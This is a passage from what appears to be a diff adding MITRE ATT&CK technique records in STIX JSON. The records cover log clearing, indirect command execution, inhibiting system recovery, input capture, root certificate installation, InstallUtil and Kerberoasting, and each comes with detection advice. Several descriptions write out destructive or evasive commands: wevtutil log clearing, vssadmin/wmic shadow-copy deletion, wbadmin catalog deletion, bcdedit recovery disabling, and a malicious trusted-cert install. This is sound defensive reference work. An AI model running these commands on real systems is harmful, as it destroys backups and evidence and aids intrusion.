Packing](https://attack.mitre.org/techniques/T1045) or otherwise modify the file so it has a different signature, and then re-use the malware.", + "x_mitre_defense_bypassed": [ + "Log analysis", + "Host intrusion prevention systems", + "Anti-virus" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1070", + "source_name": "mitre-attack", + "external_id": "T1070" + }, + { + "url": "https://capec.mitre.org/data/definitions/93.html", + "source_name": "capec", + "external_id": "CAPEC-93" + }, + { + "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/wevtutil", + "source_name": "Microsoft wevtutil Oct 2017", + "description": "Plett, C. et al.. (2017, October 16). wevtutil. Retrieved July 2, 2018." + }, + { + "url": "https://msdn.microsoft.com/library/system.diagnostics.eventlog.clear.aspx", + "source_name": "Microsoft EventLog.Clear", + "description": "Microsoft. (n.d.). EventLog.Clear Method (). Retrieved July 2, 2018." + }, + { + "url": "https://docs.microsoft.com/powershell/module/microsoft.powershell.management/clear-eventlog", + "source_name": "Microsoft Clear-EventLog", + "description": "Microsoft. (n.d.). Clear-EventLog. Retrieved July 2, 2018." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Ed Williams, Trustwave, SpiderLabs" + ], + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters", + "API monitoring", + "Windows event logs" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "File system monitoring may be used to detect improper deletion or modification of indicator files. For example, deleting Windows event logs (via native binaries (Citation: Microsoft wevtutil Oct 2017), API functions (Citation: Microsoft EventLog.Clear), or [PowerShell](https://attack.mitre.org/techniques/T1086) (Citation: Microsoft Clear-EventLog)) may generate an alterable event (Event ID 1102: \"The audit log was cleared\"). Events not stored on the file system may require different detection mechanisms.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + } + ], + "x_mitre_defense_bypassed": [ + "Log analysis", + "Host intrusion prevention systems", + "Anti-virus" + ], + "id": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", + "name": "Indicator Removal on Host", + "created": "2017-05-31T21:30:55.892Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Adversaries may delete or alter generated artifacts on a host system, including logs and potentially captured files such as quarantined malware. Locations and format of logs will vary, but typical organic system logs are captured as Windows events or Linux/macOS files such as [Bash History](https://attack.mitre.org/techniques/T1139) and /var/log/* .\n\nActions that interfere with eventing and other notifications that can be used to detect intrusion activity may compromise the integrity of security solutions, causing events to go unreported. They may also make forensic analysis and incident response more difficult due to lack of sufficient data to determine what occurred.\n\n### Clear Windows Event Logs\n\nWindows event logs are a record of a computer's alerts and notifications. Microsoft defines an event as \"any significant occurrence in the system or in a program that requires users to be notified or an entry added to a log.\" There are three system-defined sources of Events: System, Application, and Security.\n \nAdversaries performing actions related to account management, account logon and directory service access, etc. may choose to clear the events in order to hide their activities.\n\nThe event logs can be cleared with the following utility commands:\n\n* wevtutil cl system\n* wevtutil cl application\n* wevtutil cl security\n\nLogs may also be cleared through other mechanisms, such as [PowerShell](https://attack.mitre.org/techniques/T1086).", + "x_mitre_system_requirements": [ + "Clearing the Windows event logs requires Administrator permissions" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1202", + "source_name": "mitre-attack", + "external_id": "T1202" + }, + { + "url": "https://twitter.com/vector_sec/status/896049052642533376", + "source_name": "VectorSec ForFiles Aug 2017", + "description": "vector_sec. (2017, August 11). Defenders watching launches of cmd? What about forfiles?. Retrieved January 22, 2018." + }, + { + "url": "https://twitter.com/Evi1cg/status/935027922397573120", + "source_name": "Evi1cg Forfiles Nov 2017", + "description": "Evi1cg. (2017, November 26). block cmd.exe ? try this :. Retrieved January 22, 2018." + }, + { + "url": "https://community.rsa.com/community/products/netwitness/blog/2017/08/14/are-you-looking-out-for-forfilesexe-if-you-are-watching-for-cmdexe", + "source_name": "RSA Forfiles Aug 2017", + "description": "Partington, E. (2017, August 14). Are you looking out for forfiles.exe (if you are watching for cmd.exe). Retrieved January 22, 2018." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Matthew Demaske, Adaptforward" + ], + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters", + "Windows event logs" + ], + "modified": "2019-04-24T18:28:19.845Z", + "x_mitre_detection": "Monitor and analyze logs from host-based detection mechanisms, such as Sysmon, for events such as process creations that include or are resulting from parameters associated with invoking programs/commands/files and/or spawning child processes/network connections. (Citation: RSA Forfiles Aug 2017)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + } + ], + "x_mitre_defense_bypassed": [ + "Static File Analysis", + "Application whitelisting", + "Process whitelisting", + "Whitelisting by file name or path" + ], + "id": "attack-pattern--3b0e52ce-517a-4614-a523-1bd5deef6c5e", + "name": "Indirect Command Execution", + "created": "2018-04-18T17:59:24.739Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Various Windows utilities may be used to execute commands, possibly without invoking [cmd](https://attack.mitre.org/software/S0106). For example, [Forfiles](https://attack.mitre.org/software/S0193), the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a [Command-Line Interface](https://attack.mitre.org/techniques/T1059), Run window, or via scripts. (Citation: VectorSec ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017)\n\nAdversaries may abuse these features for [Defense Evasion](https://attack.mitre.org/tactics/TA0005), specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of [cmd](https://attack.mitre.org/software/S0106) or file extensions more commonly associated with malicious payloads.", + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "external_id": "T1490", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1490" + }, + { + "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html", + "source_name": "Talos Olympic Destroyer 2018", + "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019." + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html", + "source_name": "FireEye WannaCry 2017", + "description": "Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Yonatan Gotlib, Deep Instinct" + ], + "x_mitre_data_sources": [ + "Windows Registry", + "Services", + "Windows event logs", + "Process command-line parameters", + "Process monitoring" + ], + "modified": "2019-04-29T13:52:06.387Z", + "x_mitre_detection": "Use process monitoring to monitor the execution and command line parameters of binaries involved in inhibiting system recovery, such as vssadmin, wbadmin, and bcdedit. The Windows event logs, ex. Event ID 524 indicating a system catalog was deleted, may contain entries associated with suspicious activity.\n\nMonitor the status of services involved in system recovery. Monitor the registry for changes associated with system recovery features (ex: the creation of HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\PreviousVersions\\DisableLocalPage).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "macOS", + "Linux" + ], + "kill_chain_phases": [ + { + "phase_name": "impact", + "kill_chain_name": "mitre-attack" + } + ], + "x_mitre_impact_type": [ + "Availability" + ], + "id": "attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", + "name": "Inhibit System Recovery", + "created": "2019-04-02T13:54:43.136Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Adversaries may delete or remove built-in operating system data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Operating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017)\n\nA number of native Windows utilities have been used by adversaries to disable or delete system recovery features:\n\n* vssadmin.exe can be used to delete all volume shadow copies on a system - vssadmin.exe delete shadows /all /quiet\n* [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - wmic shadowcopy delete\n* wbadmin.exe can be used to delete the Windows Backup Catalog - wbadmin.exe delete catalog -quiet\n* bcdedit.exe can be used to disable automatic Windows recovery features by modifying boot configuration data - bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no", + "x_mitre_permissions_required": [ + "Administrator", + "root", + "SYSTEM", + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1056", + "source_name": "mitre-attack", + "external_id": "T1056" + }, + { + "url": "https://capec.mitre.org/data/definitions/569.html", + "source_name": "capec", + "external_id": "CAPEC-569" + }, + { + "url": "http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf", + "source_name": "Adventures of a Keystroke", + "description": "Tinaztepe, E. (n.d.). The Adventures of a Keystroke: An in-depth look into keyloggers on Windows. Retrieved April 27, 2016." + }, + { + "url": "https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/", + "source_name": "Volexity Virtual Private Keylogging", + "description": "Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017." + }, + { + "url": "http://blog.leetsys.com/2012/01/02/capturing-windows-7-credentials-at-logon-using-custom-credential-provider/", + "source_name": "Wrightson 2012", + "description": "Wrightson, T. (2012, January 2). CAPTURING WINDOWS 7 CREDENTIALS AT LOGON USING CUSTOM CREDENTIAL PROVIDER. Retrieved November 12, 2014." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "John Lambert, Microsoft Threat Intelligence Center" + ], + "x_mitre_data_sources": [ + "Windows Registry", + "Kernel drivers", + "Process monitoring", + "API monitoring" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Keyloggers may take many forms, possibly involving modification to the Registry and installation of a driver, setting a hook, or polling to intercept keystrokes. Commonly used API calls include SetWindowsHook, GetKeyState, and GetAsyncKeyState. (Citation: Adventures of a Keystroke) Monitor the Registry and file system for such changes and detect driver installs, as well as looking for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes.\n\nMonitor the Registry for the addition of a Custom Credential Provider. (Citation: Wrightson 2012) Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in use by adversaries may help to catch the result of user input interception if new techniques are used.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "collection", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "credential-access", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "name": "Input Capture", + "created": "2017-05-31T21:30:48.323Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Adversaries can use methods of capturing user input for obtaining credentials for [Valid Accounts](https://attack.mitre.org/techniques/T1078) and information Collection that include keylogging and user input field interception.\n\nKeylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes, (Citation: Adventures of a Keystroke) but other methods exist to target information for specific purposes, such as performing a UAC prompt or wrapping the Windows default credential provider. (Citation: Wrightson 2012)\n\nKeylogging is likely to be used to acquire credentials for new access opportunities when [Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to remain passive on a system for a period of time before an opportunity arises.\n\nAdversaries may also install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial compromise by exploitation of the externally facing web service. (Citation: Volexity Virtual Private Keylogging)", + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1141", + "source_name": "mitre-attack", + "external_id": "T1141" + }, + { + "url": "https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html", + "source_name": "OSX Malware Exploits MacKeeper", + "description": "Sergei Shevchenko. (2015, June 4). New Mac OS Malware Exploits Mackeeper. Retrieved July 3, 2017." + }, + { + "url": "https://logrhythm.com/blog/do-you-trust-your-computer/", + "source_name": "LogRhythm Do You Trust Oct 2014", + "description": "Foss, G. (2014, October 3). Do You Trust Your Computer?. Retrieved December 17, 2018." + }, + { + "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/", + "source_name": "OSX Keydnap malware", + "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017." + }, + { + "url": "https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/", + "source_name": "Enigma Phishing for Credentials Jan 2015", + "description": "Nelson, M. (2015, January 21). Phishing for Credentials: If you want it, just ask!. Retrieved December 17, 2018." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Matthew Molyett, @s1air" + ], + "x_mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters", + "User interface", + "PowerShell logs" + ], + "modified": "2019-03-12T17:12:47.098Z", + "x_mitre_detection": "Monitor process execution for unusual programs as well as malicious instances of [Scripting](https://attack.mitre.org/techniques/T1064) that could be used to prompt users for credentials.\n\nInspect and scrutinize input prompts for indicators of illegitimacy, such as non-traditional banners, text, timing, and/or sources.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "credential-access", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--91ce1ede-107f-4d8b-bf4c-735e8789c94b", + "name": "Input Prompt", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_version": "2.0", + "type": "attack-pattern", + "description": "When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1088)).\n\nAdversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1155)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware) and [PowerShell](https://attack.mitre.org/techniques/T1086)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015).", + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1130", + "source_name": "mitre-attack", + "external_id": "T1130" + }, + { + "url": "https://en.wikipedia.org/wiki/Root_certificate", + "source_name": "Wikipedia Root Certificate", + "description": "Wikipedia. (2016, December 6). Root certificate. Retrieved February 20, 2017." + }, + { + "url": "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf", + "source_name": "Operation Emmental", + "description": "Sancho, D., Hacquebord, F., Link, R. (2014, July 22). Finding Holes Operation Emmental. Retrieved February 9, 2016." + }, + { + "url": "https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/", + "source_name": "Kaspersky Superfish", + "description": "Onuma. (2015, February 24). Superfish: Adware Preinstalled on Lenovo Laptops. Retrieved February 20, 2017." + }, + { + "url": "https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/", + "source_name": "Tripwire AppUNBlocker", + "description": "Smith, T. (2016, October 27). AppUNBlocker: Bypassing AppLocker. Retrieved December 19, 2017." + }, + { + "url": "https://objective-see.com/blog/blog_0x26.html", + "source_name": "objective-see ay mami 2018", + "description": "Patrick Wardle. (2018, January 11). Ay MaMi. Retrieved March 19, 2018." + }, + { + "url": "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec", + "source_name": "SpectorOps Code Signing Dec 2017", + "description": "Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018." + }, + { + "url": "https://docs.microsoft.com/sysinternals/downloads/sigcheck", + "source_name": "Microsoft Sigcheck May 2017", + "description": "Russinovich, M. et al.. (2017, May 22). Sigcheck. Retrieved April 3, 2018." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Itzik Kotler, SafeBreach", + "Travis Smith, Tripwire", + "Red Canary", + "Matt Graeber, @mattifestation, SpecterOps" + ], + "x_mitre_data_sources": [ + "SSL/TLS inspection", + "Digital certificate logs" + ], + "modified": "2018-10-31T13:45:13.024Z", + "x_mitre_detection": "A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity. (Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl. (Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (sigcheck[64].exe -tuv) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List. (Citation: Microsoft Sigcheck May 2017)\n\nInstalled root certificates are located in the Registry under HKLM\\SOFTWARE\\Microsoft\\EnterpriseCertificates\\Root\\Certificates\\ and [HKLM or HKCU]\\Software[\\Policies\\]\\Microsoft\\SystemCertificates\\Root\\Certificates\\. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison: (Citation: Tripwire AppUNBlocker)\n\n* 18F7C1FCC3090203FD5BAA2F861A754976C8DD25\n* 245C97DF7514E7CF2DF8BE72AE957B9E04741E85\n* 3B1EFD3A66EA28B16697394703A72CA340A05BD5\n* 7F88CD7223F3C813818C994614A89C99FA3B5247\n* 8F43288AD272F3103B6FB1428485EA3014C0BCFE\n* A43489159A520F0D93D032CCAF37E7FE20A8B419\n* BE36A4562FB2EE05DBB3D32323ADF445084ED656\n* CDD4EEAE6000AC7F40C3802C171E30148030C072", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + } + ], + "x_mitre_defense_bypassed": [ + "Digital Certificate Validation" + ], + "id": "attack-pattern--d519cfd5-f3a8-43a9-a846-ed0bb40672b1", + "name": "Install Root Certificate", + "created": "2017-05-31T21:31:42.750Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\n\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. (Citation: Operation Emmental)\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. (Citation: Kaspersky Superfish)\n\nRoot certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence. (Citation: SpectorOps Code Signing Dec 2017)\n\nIn macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain. (Citation: objective-see ay mami 2018)", + "x_mitre_permissions_required": [ + "Administrator", + "User" + ] + }, + { + "external_references": [ + { + "external_id": "T1118", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1118" + }, + { + "url": "https://msdn.microsoft.com/en-us/library/50614e95.aspx", + "source_name": "MSDN InstallUtil", + "description": "Microsoft. (n.d.). Installutil.exe (Installer Tool). Retrieved July 1, 2016." + }, + { + "source_name": "SubTee GitHub All The Things Application Whitelisting Bypass", + "description": "Smith, C. (2016, August 17). Includes 5 Known Application Whitelisting/ Application Control Bypass Techniques in One File. Retrieved June 30, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Casey Smith", + "Travis Smith, Tripwire" + ], + "x_mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters" + ], + "modified": "2019-02-05T23:13:50.632Z", + "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "execution", + "kill_chain_name": "mitre-attack" + } + ], + "x_mitre_defense_bypassed": [ + "Process whitelisting", + "Digital Certificate Validation" + ], + "id": "attack-pattern--f792d02f-813d-402b-86a5-ab98cb391d3b", + "name": "InstallUtil", + "created": "2017-05-31T21:31:27.510Z", + "x_mitre_version": "1.1", + "x_mitre_remote_support": false, + "type": "attack-pattern", + "description": "InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is located in the .NET directories on a Windows system: C:\\Windows\\Microsoft.NET\\Framework\\v\\InstallUtil.exe and C:\\Windows\\Microsoft.NET\\Framework64\\v\\InstallUtil.exe. InstallUtil.exe is digitally signed by Microsoft.\n\nAdversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass)", + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1208", + "source_name": "mitre-attack", + "external_id": "T1208" + }, + { + "url": "https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/", + "source_name": "Microsoft Detecting Kerberoasting Feb 2018", + "description": "Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018." + }, + { + "url": "https://msdn.microsoft.com/library/ms677949.aspx", + "source_name": "Microsoft SPN", + "description": "Microsoft. (n.d.). Service Principal Names. Retrieved March 22, 2018." + }, + { + "url": "https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spns-setspn-syntax-setspn-exe.aspx", + "source_name": "Microsoft SetSPN", + "description": "Microsoft. (2010, April 13). Service Principal Names (SPNs) SetSPN Syntax (Setspn.exe). Retrieved March 22, 2018." + }, + { + "source_name": "SANS Attacking Kerberos Nov 2014", + "description": "Medin, T. (2014, November). Attacking Kerberos - Kicking the Guard Dog of Hades. Retrieved March 22, 2018." + }, + { + "url": "https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1", + "source_name": "Empire InvokeKerberoast Oct 2016", + "description": "EmpireProject. (2016, October 31). Invoke-Kerberoast.ps1. Retrieved March 22, 2018." + }, + { + "url": "https://adsecurity.org/?p=2293", + "source_name": "AdSecurity Cracking Kerberos Dec 2015", + "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018." + }, + { + "url": "https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/", + "source_name": "Harmj0y Kerberoast Nov 2016", + "description": "Schroeder, W. (2016, November 1). Kerberoasting Without Mimikatz. Retrieved March 23, 2018." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Praetorian" + ], + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_data_sources": [ + "Windows event logs" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]). (Citation: Microsoft Detecting Kerberoasting Feb 2018) (Citation: AdSecurity Cracking Kerberos Dec 2015)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "credential-access", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--b39d03cb-7b98-41c4-a878-c40c1a913dc0", + "name": "Kerberoasting", + "created": "2018-04-18T17:59:24.739Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service (Citation: Microsoft Detecting Kerberoasting Feb 2018)). (Citation: Microsoft SPN) (Citation: Microsoft SetSPN) (Citation: SANS Attacking Kerberos Nov 2014) (Citation: Harmj0y Kerberoast Nov 2016)\n\nAdversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC). (Citation: Empire InvokeKerberoast Oct 2016) (Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials. (Citation: AdSecurity Cracking Kerberos Dec 2015) (Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)\n\nThis same attack could be executed using service tickets captured from network traffic. (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nCracked hashes may enable Persistence, Privilege Escalation, and Lateral Movement via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078). (Citation: SANS Attacking Kerberos Nov 2014)", + "x_mitre_system_requirements": [ + "Valid domain account or the ability to sniff traffic within a domain." + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1215", + "source_name": "mitre-attack", + "external_id": "T1215" + }, + { + "url": "https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf", + "source_name": "Linux Kernel Programming", + "description": "Pomerantz, O., Salzman, P. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018." + }, + { + "url": "http://www.tldp.org/LDP/lkmpg/2.4/html/x437.html", + "source_name": "Linux Kernel Module Programming Guide", + "description": "Pomerantz, O., Salzman, P. (2003, April 4). Modules vs Programs. Retrieved April 6, 2018." + }, + { + "url": "http://www.megasecurity.org/papers/Rootkits.pdf", + "source_name": "iDefense Rootkit Overview", + "description": "Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved April 6, 2018." + }, + { + "url": "https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf", + "source_name": "RSAC 2015 San Francisco Patrick Wardle", + "description": "Wardle, P. (2015, April). Malware Persistence on OS X Yosemite. Retrieved April 6, 2018." + }, + { + "url": "https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/", + "source_name": "Synack Secure Kernel Extension Broken", + "description": "Wardle, P. (2017, September 8). High Sierra\u2019s \u2018Secure Kernel Extension Loading\u2019 is Broken. Retrieved April 6, 2018." + }, + { + "url": "https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/", + "source_name": "Securelist Ventir", + "description": "Mikhail, K. (2014, October 16). The Ventir Trojan: assemble your MacOS spy. Retrieved April 6, 2018." + }, + { + "url": "https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux", + "source_name": "Wikipedia Loadable Kernel Module", + "description": "Wikipedia. (2018, March 17). Loadable kernel module. Retrieved April 9, 2018." + }, + { + "url": "http://tldp.org/HOWTO/Module-HOWTO/x197.html", 